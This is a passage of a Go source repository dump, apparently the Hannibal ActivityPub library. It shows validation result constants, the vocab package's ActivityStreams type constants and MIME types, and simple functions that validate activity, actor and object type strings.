15 | return ResultUnknown 16 | } 17 | -------------------------------------------------------------------------------- /validator/result.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | // Result indicates the outcome of a validation attempt 4 | type Result string 5 | 6 | // ResultValid indicates that the current Validator has successfully validated the HTTP request 7 | const ResultValid Result = "VALID" 8 | 9 | // ResultInvalid indicates that the current Validator can say with certainty that the HTTP request is invalid 10 | const ResultInvalid Result = "INVALID" 11 | 12 | // ResultUnknown indicates that the current Validator cannot say that the HTTP request is valid or invalid 13 | const ResultUnknown Result = "UNKNOWN" 14 | 15 | // ResultError indicates that the current Validator encountered an error while attempting to validate the HTTP request 16 | const ResultError Result = "ERROR" 17 | -------------------------------------------------------------------------------- /vocab/README.md: -------------------------------------------------------------------------------- 1 | ## Hannibal / vocab 2 | 3 | This package contains all of the commonly used constants from the current 4 | [ActivityStreams Vocabulary](https://www.w3.org/TR/activitystreams-vocabulary/), 5 | along with a couple of simple validation functions that verify that a string 6 | input matches certain designated types. 7 | 8 | This package is used by the other Hannibal packages to guarantee that we're always 9 | using the right values in the right places. -------------------------------------------------------------------------------- /vocab/activityTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-accept 4 | const ActivityTypeAccept = "Accept" 5 | 6 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-add 7 | const ActivityTypeAdd = "Add" 8 | 9 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-announce 10 | const ActivityTypeAnnounce = "Announce" 11 | 12 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-arrive 13 | const ActivityTypeArrive = "Arrive" 14 | 15 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-block 16 | const ActivityTypeBlock = "Block" 17 | 18 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-create 19 | const ActivityTypeCreate = "Create" 20 | 21 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-delete 22 | const ActivityTypeDelete = "Delete" 23 | 24 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-dislike 25 | const ActivityTypeDislike = "Dislike" 26 | 27 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-flag 28 | const ActivityTypeFlag = "Flag" 29 | 30 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-follow 31 | const ActivityTypeFollow = "Follow" 32 | 33 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-ignore 34 | const ActivityTypeIgnore = "Ignore" 35 | 36 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-invite 37 | const ActivityTypeInvite = "Invite" 38 | 39 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-join 40 | const ActivityTypeJoin = "Join" 41 | 42 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-leave 43 | const ActivityTypeLeave = "Leave" 44 | 45 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-like 46 | const ActivityTypeLike = "Like" 47 | 48 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-listen 49 | const ActivityTypeListen = "Listen" 50 | 51 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-move 52 | const ActivityTypeMove = "Move" 53 | 54 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-offer 55 | const ActivityTypeOffer = "Offer" 56 | 57 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-question 58 | const ActivityTypeQuestion = "Question" 59 | 60 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-reject 61 | const ActivityTypeReject = "Reject" 62 | 63 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-read 64 | const ActivityTypeRead = "Read" 65 | 66 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-remove 67 | const ActivityTypeRemove = "Remove" 68 | 69 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-tentativereject 70 | const ActivityTypeTentativeReject = "TentativeReject" 71 | 72 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-tentativeaccept 73 | const ActivityTypeTentativeAccept = "TentativeAccept" 74 | 75 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-travel 76 | const ActivityTypeTravel = "Travel" 77 | 78 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-undo 79 | const ActivityTypeUndo = "Undo" 80 | 81 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-update 82 | const ActivityTypeUpdate = "Update" 83 | 84 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-view 85 | const ActivityTypeView = "View" 86 | -------------------------------------------------------------------------------- /vocab/actorPropertyTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitypub/#inbox 4 | const PropertyInbox = "inbox" 5 | 6 | // https://www.w3.org/TR/activitypub/#outbox 7 | const PropertyOutbox = "outbox" 8 | 9 | // https://www.w3.org/TR/activitypub/#following 10 | const PropertyFollowing = "following" 11 | 12 | // https://www.w3.org/TR/activitypub/#followers 13 | const PropertyFollowers = "followers" 14 | 15 | // https://www.w3.org/TR/activitypub/#liked 16 | const PropertyLiked = "liked" 17 | 18 | // https://www.w3.org/TR/activitypub/#likes 19 | const PropertyLikes = "likes" 20 | 21 | const PropertyBlocked = "blocked" 22 | 23 | const PropertyStreams = "streams" 24 | 25 | const PropertyPreferredUsername = "preferredUsername" 26 | 27 | const PropertyEndpoints = "endpoints" 28 | -------------------------------------------------------------------------------- /vocab/actorTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-application 4 | const ActorTypeApplication = "Application" 5 | 6 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-group 7 | const ActorTypeGroup = "Group" 8 | 9 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-organization 10 | const ActorTypeOrganization = "Organization" 11 | 12 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-person 13 | const ActorTypePerson = "Person" 14 | 15 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-service 16 | const ActorTypeService = "Service" 17 | -------------------------------------------------------------------------------- /vocab/contentTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // Accept is the string used in the HTTP header to request a response be encoded as a MIME type 4 | const Accept = "Accept" 5 | 6 | // ContentType is the string used in the HTTP header to designate a MIME type 7 | const ContentType = "Content-Type" 8 | 9 | // ContentTypeActivityPub is the standard MIME type for ActivityPub content 10 | const ContentTypeActivityPub = "application/activity+json" 11 | 12 | // ContentTypeJSONLD is the standard MIME Type for JSON-LD content 13 | // https://en.wikipedia.org/wiki/JSON-LD 14 | const ContentTypeJSONLD = "application/ld+json" 15 | 16 | // ContentTypeJSONLDWithProfile is the standard MIME Type for JSON-LD content, with profile 17 | // to designate ActivityPub content. 18 | // https://www.w3.org/TR/activitystreams-core/#media-type 19 | const ContentTypeJSONLDWithProfile = `application/ld+json; profile="https://www.w3.org/ns/activitystreams"` 20 | 21 | // ContentTypeHTML is the standard MIME type for HTML content 22 | const ContentTypeHTML = "text/html" 23 | 24 | // ContentTypeJSON is the standard MIME Type for JSON content 25 | const ContentTypeJSON = "application/json" 26 | 27 | // ContentTypeJSONResourceDescriptor is the standard MIME Type for JSON Resource Descriptor content 28 | // which is used by WebFinger: https://datatracker.ietf.org/doc/html/rfc7033#section-10.2 29 | const ContentTypeJSONResourceDescriptor = "application/jrd+json" 30 | -------------------------------------------------------------------------------- /vocab/contextTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // ContextTypeActivityStreams defines the standard ActivityStreams vocabulary. 4 | // https://www.w3.org/TR/activitystreams-core/ 5 | const ContextTypeActivityStreams = "https://www.w3.org/ns/activitystreams" 6 | 7 | // ContextTypeSecurity describes the standard security vocabulary for the Fediverse. 8 | // https://w3c.github.io/vc-data-integrity/vocab/security/vocabulary.html 9 | const ContextTypeSecurity = "https://w3id.org/security/v1" 10 | 11 | // https://joinmastodon.org/ns# 12 | var ContextTypeToot = map[string]any{ 13 | "toot": "https://joinmastodon.org/ns#", 14 | "discoverable": "toot:discoverable", 15 | "indexable": "toot:indexable", 16 | "featured": map[string]any{ 17 | "@id": "http://joinmastodon.org/ns#featured", 18 | "@type": "@id", 19 | }, 20 | } 21 | -------------------------------------------------------------------------------- /vocab/coreTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-object 4 | const CoreTypeObject = "Object" 5 | 6 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-link 7 | const CoreTypeLink = "Link" 8 | 9 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-activity 10 | const CoreTypeActivity = "Activity" 11 | 12 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-intransitiveactivity 13 | const CoreTypeIntransitiveActivity = "IntransitiveActivity" 14 | 15 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-collection 16 | const CoreTypeCollection = "Collection" 17 | 18 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-orderedcollection 19 | const CoreTypeOrderedCollection = "OrderedCollection" 20 | 21 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-collectionpage 22 | const CoreTypeCollectionPage = "CollectionPage" 23 | 24 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-orderedcollectionpage 25 | const CoreTypeOrderedCollectionPage = "OrderedCollectionPage" 26 | -------------------------------------------------------------------------------- /vocab/customTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // Any is used for matching any value 4 | const Any = "*" 5 | 6 | // Unknown is a constant for when a value is. 7 | const Unknown = "Unknown" 8 | -------------------------------------------------------------------------------- /vocab/linkTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-mention 4 | const LinkTypeMention = "Mention" 5 | 6 | // Discussed, but not defined in https://www.w3.org/TR/activitystreams-vocabulary/#h-microsyntaxes 7 | // https://socialhub.activitypub.rocks/t/formally-defining-a-hashtag-type/3429 8 | // Because "ActivityPub"... 9 | const LinkTypeHashtag = "Hashtag" 10 | -------------------------------------------------------------------------------- /vocab/namespaces.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | const NamespaceActivityStreams = "https://www.w3.org/ns/activitystreams" 4 | 5 | const NamespaceActivityStreamsPublic = "https://www.w3.org/ns/activitystreams#Public" 6 | -------------------------------------------------------------------------------- /vocab/objectTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-article 4 | const ObjectTypeArticle = "Article" 5 | 6 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-audio 7 | const ObjectTypeAudio = "Audio" 8 | 9 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-document 10 | const ObjectTypeDocument = "Document" 11 | 12 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-event 13 | const ObjectTypeEvent = "Event" 14 | 15 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-image 16 | const ObjectTypeImage = "Image" 17 | 18 | // https://w3c-ccg.github.io/security-vocab/#publicKey 19 | const ObjectTypeKey = "Key" 20 | 21 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-note 22 | const ObjectTypeNote = "Note" 23 | 24 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-page 25 | const ObjectTypePage = "Page" 26 | 27 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-place 28 | const ObjectTypePlace = "Place" 29 | 30 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-profile 31 | const ObjectTypeProfile = "Profile" 32 | 33 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-relationship 34 | const ObjectTypeRelationship = "Relationship" 35 | 36 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-tombstone 37 | const ObjectTypeTombstone = "Tombstone" 38 | 39 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-video 40 | const ObjectTypeVideo = "Video" 41 | -------------------------------------------------------------------------------- /vocab/securityTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://w3c.github.io/vc-data-integrity/vocab/security/vocabulary.html#publicKey 4 | const PropertyPublicKey = "publicKey" 5 | 6 | // https://w3c.github.io/vc-data-integrity/vocab/security/vocabulary.html#publicKeyPem 7 | const PropertyPublicKeyPEM = "publicKeyPem" 8 | -------------------------------------------------------------------------------- /vocab/validators.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // ValidateActivityType validates the ActivityPub "type" of the given activity. 4 | // It returns "UNKNOWN" if the type is not recognized. 5 | func ValidateActivityType(activityType string) string { 6 | 7 | switch activityType { 8 | 9 | case ActivityTypeAccept, 10 | ActivityTypeAdd, 11 | ActivityTypeAnnounce, 12 | ActivityTypeArrive, 13 | ActivityTypeBlock, 14 | ActivityTypeCreate, 15 | ActivityTypeDelete, 16 | ActivityTypeDislike, 17 | ActivityTypeFlag, 18 | ActivityTypeFollow, 19 | ActivityTypeIgnore, 20 | ActivityTypeInvite, 21 | ActivityTypeJoin, 22 | ActivityTypeLeave, 23 | ActivityTypeLike, 24 | ActivityTypeListen, 25 | ActivityTypeMove, 26 | ActivityTypeOffer, 27 | ActivityTypeQuestion, 28 | ActivityTypeReject, 29 | ActivityTypeRead, 30 | ActivityTypeRemove, 31 | ActivityTypeTentativeReject, 32 | ActivityTypeTentativeAccept, 33 | ActivityTypeTravel, 34 | ActivityTypeUndo, 35 | ActivityTypeUpdate, 36 | ActivityTypeView: 37 | 38 | return activityType 39 | } 40 | 41 | return Unknown 42 | } 43 | 44 | // ValidateActorType validates the ActivityPub "type" of the given actor. 45 | // It returns "UNKNOWN" if the type is not recognized. 46 | func ValidateActorType(actorType string) string { 47 | 48 | switch actorType { 49 | 50 | case ActorTypeApplication, 51 | ActorTypeGroup, 52 | ActorTypeOrganization, 53 | ActorTypePerson, 54 | ActorTypeService: 55 | 56 | return actorType 57 | } 58 | 59 | return Unknown 60 | } 61 | 62 | // ValidateObjectType validates the ActivityPub "type" of the given object or link. 63 | // It returns "UNKNOWN" if the type is not recognized. 64 | func ValidateObjectType(objectType string) string { 65 | 66 | switch objectType { 67 | 68 | case ObjectTypeArticle, 69 | ObjectTypeAudio, 70 | ObjectTypeDocument, 71 | ObjectTypeEvent, 72 | ObjectTypeImage, 73 | ObjectTypeNote, 74 | ObjectTypePage, 75 | ObjectTypePlace, 76 | ObjectTypeProfile, 77 | ObjectTypeRelationship, 78 | ObjectTypeTombstone, 79 | ObjectTypeVideo, 80 | LinkTypeMention: 81 | 82 | return objectType 83 | } 84 | 85 | return Unknown 86 | } 87 | --------------------------------------------------------------------------------